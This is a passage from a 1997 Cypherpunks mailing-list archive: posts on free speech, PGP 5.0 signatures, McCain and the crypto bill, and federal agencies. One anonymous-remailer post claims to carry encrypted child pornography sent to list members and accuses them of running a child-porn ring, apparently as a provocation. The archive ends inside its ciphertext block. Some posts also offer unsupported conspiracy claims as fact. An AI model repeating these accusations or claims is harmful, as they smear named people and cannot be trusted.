America in at least 170 years, what you were largely agreeing to protect
and defend were the force projections of the U.S. military to places like
Viet Nam, Lebanon, Cuba, and Europe; and you were also protecting the
CIA-controlled C-5 cargo planes importing drugs into the U.S.)

"Congress shall make no law" does _not_ mean "Congress shall pass more and
more laws designed to protect children and other impressionable persons
against thoughts they shouldn't be having."



>what is the solution to this problem from a parents point of view?  Simple
>- control the material.  Make it like liquor, guns, booze.  Oops.. for some
>reason this is a violation of the 1st amendment to!  Ok, my mistake, its my
>problem.  That's easy, no Internet access.  Now my kid is at a
>disadvantage!  I keep loosing here.  I don't like the way this is beginning
>to feel!!

Your problem, not mine, and not this list's, and not government's. If you
don't want your child to read certain items, or see certain things, or
think certain thoughts, it's up to you to control this.

Exactly analogous to a Muslim parent not wanting his child exposed to
heathen thoughts and images. And so on. (Really, it is precisely
analogous...think about it.)

>I'm sure that the community on this list has discussed this problem at
>length.  What is the best defense?  How do we get the message out or,
>better yet, deliver it?

No, actually we have not discussed this "problem" at length. No reason too,
as this is not a list about parenting and parental techniques and moral
teachings for children.

>Whatever that is, we need to do the same thing for the 2nd Ammendment, and
>the 3rd, and so on.

Nope. You're on the wrong list. "Gun control" means being able to aim and
fire accurately and quickly.

>
>Just another citizen wondering if anything is going to be left for our
>grandchildren.

Not if people like you demand that government "do something!"


--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From jim.burnes at ssds.com  Mon Jun 23 09:56:50 1997
From: jim.burnes at ssds.com (Jim Burnes)
Date: Tue, 24 Jun 1997 00:56:50 +0800
Subject: Extremely Disappointing: Political Cryptography
In-Reply-To: 
Message-ID: 




Charles:

This has nothing to do with federal crypto regs. It just
had your email addr in it.

Got a question:

Are you the Charles Platt who wrote "The Gas"?

If so, thats great!

I surfed by it yesterday on the Loompanics site.

Jim Burnes
jim.burnes at ssds.com








From tcmay at got.net  Mon Jun 23 09:57:03 1997
From: tcmay at got.net (Tim May)
Date: Tue, 24 Jun 1997 00:57:03 +0800
Subject: McCain's War for Security
In-Reply-To: <1.5.4.32.19970622192626.006d1514@pop.pipeline.com>
Message-ID: 



At 11:23 PM -0700 6/22/97, Lee Tien wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>Hash: SHA1
>
>Correct me if I'm wrong, but wasn't there also stuff in the article about
>how McCain had been badly stung by some "ethics" problem, which apparently
>was not really very serious but disturbed him personally and tainted his
>image?

Are you referrring to him being one of the four or five in the "S & L
scandal"? MCain was indeed one of them, along with Alan Cranston of
California, who elected not to run again, and several others. This was
indeed a big new story, lasting at least two years, and McCain's reputation
was hurt badly by it.

>If that's a correct remembering, then that sense of a need to restore his
>image may have made McCain a perfect target for "a treatment" by a clever
>Administration gunning for Pro-CODE (sponsored by Burns, a less powerful
>member of the Commerce Committee chaired by McCain, and someone already on
>McCain's bad side according to Declan).

And we may speculate that FinCEN and CIA had the goods on him, vis-a-vis
kickbacks, illegal contributions, bribes, and suchlike.

(FinCEN is the new J. Edgar Hoover, having dossiers of all financial
dealings. These dossiers can be used to make Congressvermin more compliant.)

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From bennett_t1 at popmail.firn.edu  Mon Jun 23 10:36:22 1997
From: bennett_t1 at popmail.firn.edu (bennett_t1 at popmail.firn.edu)
Date: Tue, 24 Jun 1997 01:36:22 +0800
Subject: New PGP signatures
In-Reply-To: 
Message-ID: <33AEBB4A.3E9CB5E6@popmail.firn.edu>



Mark Grant wrote:

> Could I humbly request that people don't post the new (SHA?) PGP
> signatures to the list for the time being as it's a pain in the ass
> for
> those of us outside the US who don't yet have the ability to read
> them.
> PGP 2.6.x error handling doesn't know what to do with them and it
> breaks
> our mail-processing code.
>
>         Mark

   Well, I still use my RSA key for all signings and encryptions since
about 85% of PGP users don't use the new Diffie-Hellman keys, and some
asshole forgot to make PGP 5.0 freeware RSA key-generating.  Luckily I
can still use my RSA key.  Plus, some assholes didn't take into account
that not everyone uses Windoze95/NT 4.0 or Macintrash, and didn't make
one yet for Unix or OS/2 or DOS or Windoze 3.1 users.  My friend still
uses 3.1 and I have to use my RSA key to talk to him.

I hope you guys with the international PGP get to use 5.0 soon.  It's
really nice, all things about it excluded.






From tcmay at got.net  Mon Jun 23 10:36:37 1997
From: tcmay at got.net (Tim May)
Date: Tue, 24 Jun 1997 01:36:37 +0800
Subject: Anti-SPAM SPAM should be banned by Congress
In-Reply-To: <3.0.2.32.19970623063123.0092e8c0@popd.ix.netcom.com>
Message-ID: 




I really resent and hate spammers like Jason William RENNIE, who keeps
spamming me with his repetitive views about SPAM!

I want to know why Cypherpunks are not working on getting laws passed to
stop SPAM like this from reaching me! I want to know why Cypherpunks have
not gotten laws passed forcing Jason William RENNIE and Philip A.
Mongelluzzo to stop sending me SPAM I don't want to read!

When I took my oath, I promised to defend and protect the perquisites of
Congress, and I promised to uphold the laws of the United States, including
the one which says "Congress shall make laws which they claim will protect
the children, regulate commerce, control bad thoughts, uphold Christian
values, and provide for the common welfare system."

So, you Cypherpunks, are you up to the challenge to get these laws passed?

At 5:52 AM -0700 6/23/97, Jason William RENNIE wrote:

>and i can get off the list. Having it sent to MY email box is NOT my
>choice and my rights to choose are being infringed by these idiot
>shoveling there crap into my email box.

That's why I want a law banning your anti-SPAM SPAM from being spammed into
my mailbox!

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From osborne at gateway.grumman.com  Mon Jun 23 10:47:14 1997
From: osborne at gateway.grumman.com (Rick Osborne)
Date: Tue, 24 Jun 1997 01:47:14 +0800
Subject: New PGP signatures
In-Reply-To: 
Message-ID: <3.0.1.32.19970623133802.009b2800@gateway.grumman.com>



bennett_t1 at popmail.firn.edu wrote:
>some asshole forgot to make PGP 5.0 freeware RSA key-generating

Okay, silly question here, but what's to stop someone from adding that
capability once the source is available?  (And if they knew they were going
to publish the source, why not just add the capability in the first place?)
-- Rick Osborne, 
"Unbelievable!  Even over the air waves, this Senator person eminates
evil as if it were musk!"
-- Gates, Legion of Superheroes






From jim.burnes at ssds.com  Mon Jun 23 10:49:29 1997
From: jim.burnes at ssds.com (Jim Burnes)
Date: Tue, 24 Jun 1997 01:49:29 +0800
Subject: Extremely Disappointing: Political Cryptography
In-Reply-To: <3.0.2.32.19970621012312.00767210@popd.ix.netcom.com>
Message-ID: 





On Sat, 21 Jun 1997, Bill Stewart wrote:

> At 12:14 AM 6/20/97 -0400, Charles Platt wrote:
> >I'm not saying I _want_ an agency making decisions for us; only that it 
> >would be slightly less hideously exasperating than our present situation, 
> >where technoliterates are being ruled by technoilliterates.
> 
> 

I'm not sure anymore who wrote what, but I think the idea
of having another three-letter agency involved with this is
very dangerous.

Lets take the almost unlimited abuses of the FDA, BATF, IRS etc.  These
agencies have been assigned law enforcement powers by proxy.  The
laws they enforce are administrative law.  There is nothing to
stop them from declaring administrative regs and then calling out
the jack-booted nazi's to enforce them.

Tell me this isn't true.

Plenty of cases of the FDA and BATF doing just that.

Have a better one,

Jim Burnes







From lucifer at dhp.com  Mon Jun 23 10:54:57 1997
From: lucifer at dhp.com (lucifer Anonymous Remailer)
Date: Tue, 24 Jun 1997 01:54:57 +0800
Subject: Child Porn 2 [JPG]
Message-ID: <199706231739.NAA07104@dhp.com>



Here is the same Time-Life child pornography encrypyted with the public
keys of even more co-conspirators in the cypherpunks list child porno
ring.
Of course, you will all do an extra five years in prison for the use
of encryption in the distribution of Time-Life child pornography.

-----BEGIN PGP MESSAGE-----
Version: PGP for Personal Privacy 5.0
MessageID: dPprVrWTzaklAcPs8B3n61dBuYrBHpvx

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
